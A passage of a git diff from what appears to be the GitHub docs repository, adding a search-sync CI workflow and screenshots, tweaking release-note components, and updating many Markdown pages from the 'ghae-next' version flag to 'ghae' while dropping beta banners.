diff --git a/.github/workflows/sync-search-pr.yml b/.github/workflows/sync-search-pr.yml new file mode 100644 index 0000000000..341bcc8a9f --- /dev/null +++ b/.github/workflows/sync-search-pr.yml @@ -0,0 +1,40 @@ +name: Sync search - PR + +# **What it does**: Tries running the sync-search when relevant files change. +# **Why we have it**: To test that the script works and the popular pages json is valid. +# **Who does it impact**: Docs engineering. + +on: + pull_request: + paths: + - script/search/parse-page-sections-into-records.js + - script/search/popular-pages.js + - lib/search/popular-pages.json + # Ultimately, for debugging this workflow itself + - .github/workflows/sync-search-pr.yml + +jobs: + lint: + runs-on: ubuntu-latest + steps: + - name: Check out repo + uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579 + + - name: Setup node + uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458 + with: + node-version: 16.13.x + cache: npm + + - name: Install dependencies + run: npm ci + + - name: Build + run: npm run build + + - name: Run sync-search + env: + # Set filtered to only these so it doesn't run for too long. + LANGUAGE: en + VERSION: free-pro-team@latest + run: npm run sync-search diff --git a/assets/images/azure/github-ae-azure-portal-add-new.png b/assets/images/azure/github-ae-azure-portal-add-new.png new file mode 100644 index 0000000000..b20cefa7a1 Binary files /dev/null and b/assets/images/azure/github-ae-azure-portal-add-new.png differ diff --git a/assets/images/azure/github-ae-azure-portal-all-resources.png b/assets/images/azure/github-ae-azure-portal-all-resources.png new file mode 100644 index 0000000000..1532ba51b6 Binary files /dev/null and b/assets/images/azure/github-ae-azure-portal-all-resources.png differ diff --git a/assets/images/azure/github-ae-azure-portal-form.png b/assets/images/azure/github-ae-azure-portal-form.png new file mode 100644 index 0000000000..dfae7fbcc2 Binary files /dev/null and b/assets/images/azure/github-ae-azure-portal-form.png differ diff --git a/assets/images/azure/github-ae-azure-portal-search.png b/assets/images/azure/github-ae-azure-portal-search.png new file mode 100644 index 0000000000..925b28ba0f Binary files /dev/null and b/assets/images/azure/github-ae-azure-portal-search.png differ diff --git a/assets/images/azure/github-ae-azure-portal-type-filter.png b/assets/images/azure/github-ae-azure-portal-type-filter.png new file mode 100644 index 0000000000..67060606e2 Binary files /dev/null and b/assets/images/azure/github-ae-azure-portal-type-filter.png differ diff --git a/assets/images/help/enterprises/organization-search.png b/assets/images/help/enterprises/organization-search.png new file mode 100644 index 0000000000..c6d42a6c0b Binary files /dev/null and b/assets/images/help/enterprises/organization-search.png differ diff --git a/assets/images/help/enterprises/remove-organization-warning.png b/assets/images/help/enterprises/remove-organization-warning.png new file mode 100644 index 0000000000..f604ea2bdd Binary files /dev/null and b/assets/images/help/enterprises/remove-organization-warning.png differ diff --git a/assets/images/help/enterprises/remove-organization.png b/assets/images/help/enterprises/remove-organization.png new file mode 100644 index 0000000000..8f78ea50d9 Binary files /dev/null and b/assets/images/help/enterprises/remove-organization.png differ diff --git a/components/release-notes/GHAEReleaseNotePatch.tsx b/components/release-notes/GHAEReleaseNotePatch.tsx index 98c0fe79ec..5dcd1735c9 100644 --- a/components/release-notes/GHAEReleaseNotePatch.tsx +++ b/components/release-notes/GHAEReleaseNotePatch.tsx @@ -16,9 +16,7 @@ export function GHAEReleaseNotePatch({ patch, didEnterView }: Props) { } }, [onScreen]) - const bannerText = patch.currentWeek - ? t('banner_text_current') - : `${t('banner_text_past')} ${patch.friendlyDate}.` + const bannerText = t('banner_text') return (
Print

- {patch.friendlyDate} - {bannerText} + {bannerText} {patch.friendlyDate}.

diff --git a/components/release-notes/GHAEReleaseNotes.tsx b/components/release-notes/GHAEReleaseNotes.tsx index ea16ed9c97..8d76769c16 100644 --- a/components/release-notes/GHAEReleaseNotes.tsx +++ b/components/release-notes/GHAEReleaseNotes.tsx @@ -85,7 +85,7 @@ const CollapsibleReleaseSection = ({ {release.version}
- {release.patches.length} releases + {release.patches.length} {release.patches.length === 1 ? 'release' : 'releases'}
diff --git a/components/release-notes/GHESReleaseNotes.tsx b/components/release-notes/GHESReleaseNotes.tsx index 1be183c4fa..1b59684904 100644 --- a/components/release-notes/GHESReleaseNotes.tsx +++ b/components/release-notes/GHESReleaseNotes.tsx @@ -166,7 +166,7 @@ const CollapsibleReleaseSection = ({ {release.version}
- {release.patches.length} releases + {release.patches.length} {release.patches.length === 1 ? 'release' : 'releases'}
diff --git a/components/release-notes/PatchNotes.tsx b/components/release-notes/PatchNotes.tsx index 4a311c986e..a1239ca3f0 100644 --- a/components/release-notes/PatchNotes.tsx +++ b/components/release-notes/PatchNotes.tsx @@ -93,11 +93,7 @@ export function PatchNotes({ patch, withReleaseNoteLabel }: Props) { {item.notes.map((note) => { return ( -
  • +
  • ) })} diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md index 02a1eae5c9..f989cb9be2 100644 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md +++ b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md @@ -65,7 +65,7 @@ When you unwatch a repository, you unsubscribe from future updates from that rep 1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**. ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) 2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to: - {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} + {% ifversion fpt or ghes > 3.0 or ghae or ghec %} - Unwatch a repository - Ignore all notifications for a repository - Customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}, if enabled) diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md index a85f10b3c3..4cf761d448 100644 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md +++ b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md @@ -38,7 +38,7 @@ When your inbox has too many notifications to manage, consider whether you have For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)." To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} {% tip %} **Tip:** You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.product_name %}. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." @@ -72,7 +72,7 @@ Many people forget about repositories that they've chosen to watch in the past. 1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**. ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) 2. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository. -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications-custom.png) {% else %} ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications.png) @@ -80,7 +80,7 @@ Many people forget about repositories that they've chosen to watch in the past. {% tip %} - **Tip:** Instead of watching a repository, consider only receiving notifications {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options,{% else %}for releases in a repository,{% endif %} or completely unwatching a repository. + **Tip:** Instead of watching a repository, consider only receiving notifications {% ifversion fpt or ghes > 3.0 or ghae or ghec %}when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options,{% else %}for releases in a repository,{% endif %} or completely unwatching a repository. When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned. diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md index 86dd9c7f48..65e42ba44d 100644 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md +++ b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md @@ -28,7 +28,7 @@ You can choose to receive ongoing updates about specific activity on {% data var You can choose to subscribe to notifications for: - A conversation in a specific issue, pull request, or gist. - All activity in a repository or team discussion. -- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} - Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled).{% else %} - Releases in a repository.{% endif %} diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md index 0075ffaf32..7d63aa6034 100644 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md +++ b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md @@ -76,7 +76,7 @@ To see repositories that you're watching, go to your [watching page](https://git {% endif %} You can configure notifications for a repository on the repository page, or on your watching page.{% ifversion ghes < 3.1 %} You can choose to only receive notifications for releases in a repository, or ignore all notifications for a repository.{% endif %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} ### About custom notifications You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. @@ -160,7 +160,7 @@ If "Automatically watch repositories" is disabled, then you will not automatical ## Configuring your watch settings for an individual repository -You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) {% else %}new releases{% endif %}, or completely ignore an individual repository. +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghes > 3.0 or ghae or ghec %}certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) {% else %}new releases{% endif %}, or completely ignore an individual repository. {% data reusables.repositories.navigate-to-repo %} 2. In the upper-right corner, select the "Watch" drop-down menu to click a watch option. diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md index 47c7e5a660..c42ded9b20 100644 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md +++ b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md @@ -10,7 +10,7 @@ redirect_from: versions: fpt: '*' ghes: '*' - ghae: next + ghae: '*' ghec: '*' topics: - Profiles @@ -19,7 +19,7 @@ shortTitle: Send enterprise contributions ## About enterprise contributions on your {% data variables.product.prodname_dotcom_the_website %} profile -Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% data variables.product.prodname_enterprise %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}. +Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}. You can decide whether to show counts for private contributions on your profile. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)." @@ -30,18 +30,16 @@ For more information about how contributions are calculated, see "[Managing cont **Notes:** - The connection between your accounts is governed by GitHub's Privacy Statement and users enabling the connection agree to the GitHub's Terms of Service. -- Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner. +- Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner. {% endnote %} -{% ifversion fpt or ghes or ghae or ghec %} - ## Sending your enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile {% ifversion fpt or ghec %} -- To send enterprise contributions from {% data variables.product.prodname_ghe_server %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_server %} documentation.{% ifversion ghae-next %} -- To send enterprise contributions from {% data variables.product.prodname_ghe_managed %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_managed %} documentation.{% endif %} +- To send enterprise contributions from {% data variables.product.prodname_ghe_server %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_server %} documentation. +- To send enterprise contributions from {% data variables.product.prodname_ghe_managed %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_managed %} documentation. {% elsif ghes %} @@ -65,5 +63,3 @@ For more information about how contributions are calculated, see "[Managing cont {% data reusables.github-connect.send-contribution-counts-to-githubcom %} {% endif %} - -{% endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md index 75796df81d..a183d24021 100644 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md +++ b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md @@ -91,11 +91,11 @@ The contribution activity section includes a detailed timeline of your work, inc ![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png) -{% ifversion fpt or ghes or ghae-next or ghec %} +{% ifversion fpt or ghes or ghae or ghec %} ## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %} -If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.product.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." +If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.product.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." {% endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md index ff77342e3d..dcf8763603 100644 --- a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md +++ b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md @@ -3,7 +3,7 @@ title: Managing your theme settings intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.' versions: fpt: '*' - ghae: next + ghae: '*' ghes: '>=3.2' ghec: '*' topics: diff --git a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md index b13d0f4867..ad89e73102 100644 --- a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md +++ b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md @@ -34,7 +34,7 @@ The repository owner has full control of the repository. In addition to the acti | :- | :- | | {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" | | Change the visibility of the repository | "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" |{% ifversion fpt or ghec %} -| Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} | Rename a branch, including the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} | Merge a pull request on a protected branch, even if there are no approving reviews | "[About protected branches](/github/administering-a-repository/about-protected-branches)" | | Delete the repository | "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)" | @@ -68,7 +68,7 @@ Collaborators can also perform the following actions. | Action | More information | | :- | :- | -| Fork the repository | "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| Fork the repository | "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | Rename a branch other than the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} | Create, edit, and delete comments on commits, pull requests, and issues in the repository | | | Create, assign, close, and re-open issues in the repository | "[Managing your work with issues](/github/managing-your-work-on-github/managing-your-work-with-issues)" | diff --git a/content/actions/advanced-guides/index.md b/content/actions/advanced-guides/index.md index c28fe92201..d5765c95f4 100644 --- a/content/actions/advanced-guides/index.md +++ b/content/actions/advanced-guides/index.md @@ -15,4 +15,3 @@ children: - /using-github-cli-in-workflows --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md b/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md index a1e1b56851..11c7be0499 100644 --- a/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md +++ b/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md @@ -20,7 +20,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About workflow artifacts diff --git a/content/actions/advanced-guides/using-github-cli-in-workflows.md b/content/actions/advanced-guides/using-github-cli-in-workflows.md index d0a0b087e8..39160cc653 100644 --- a/content/actions/advanced-guides/using-github-cli-in-workflows.md +++ b/content/actions/advanced-guides/using-github-cli-in-workflows.md @@ -15,7 +15,6 @@ topics: type: how_to --- -{% data reusables.actions.ae-beta %} {% data reusables.cli.cli-learn-more %} diff --git a/content/actions/automating-builds-and-tests/about-continuous-integration.md b/content/actions/automating-builds-and-tests/about-continuous-integration.md index 281380a4fe..393d8c7c60 100644 --- a/content/actions/automating-builds-and-tests/about-continuous-integration.md +++ b/content/actions/automating-builds-and-tests/about-continuous-integration.md @@ -20,7 +20,6 @@ shortTitle: Continuous integration {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About continuous integration @@ -32,7 +31,7 @@ Building and testing your code requires a server. You can build and test updates ## About continuous integration using {% data variables.product.prodname_actions %} -{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on virtual machines hosted by {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." +{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on runner systems that you host. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." {% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)." {% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md b/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md index b75e1b7db3..e064761894 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md @@ -19,13 +19,13 @@ shortTitle: Build & test Java & Ant {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Ant build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to upload artifacts from a workflow run. -{% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} +{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Ant. For a list of software and the pre-installed versions for JDK and Ant, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md b/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md index 832d839209..74fb4ffb74 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md @@ -19,13 +19,13 @@ shortTitle: Build & test Java & Gradle {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Gradle build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run. -{% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} +{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Gradle. For a list of software and the pre-installed versions for JDK and Gradle, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md b/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md index 6bb6f8f5cf..a8403ce752 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md @@ -19,13 +19,13 @@ shortTitle: Build & test Java with Maven {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Maven software project management tool. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run. -{% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} +{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Maven. For a list of software and the pre-installed versions for JDK and Maven, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-net.md b/content/actions/automating-builds-and-tests/building-and-testing-net.md index 5ba022ee04..ba114a3e74 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-net.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-net.md @@ -13,13 +13,12 @@ shortTitle: Build & test .NET {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction This guide shows you how to build, test, and publish a .NET package. -{% ifversion ghae %} To build and test your .NET project on {% data variables.product.prodname_ghe_managed %}, you will need to create a custom operating system image that includes the .NET Core SDK. For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} To build and test your .NET project on {% data variables.product.prodname_ghe_managed %}, the .NET Core SDK is required. {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the .NET Core SDK. For a full list of up-to-date software and the preinstalled versions of .NET Core SDK, see [software installed on {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners). {% endif %} @@ -239,7 +238,7 @@ on: jobs: deploy: - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: packages: write contents: read{% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md b/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md index c1281f9ff6..e22a423999 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md @@ -14,6 +14,5 @@ topics: - CI --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md index 0715e07423..8460d39730 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md +++ 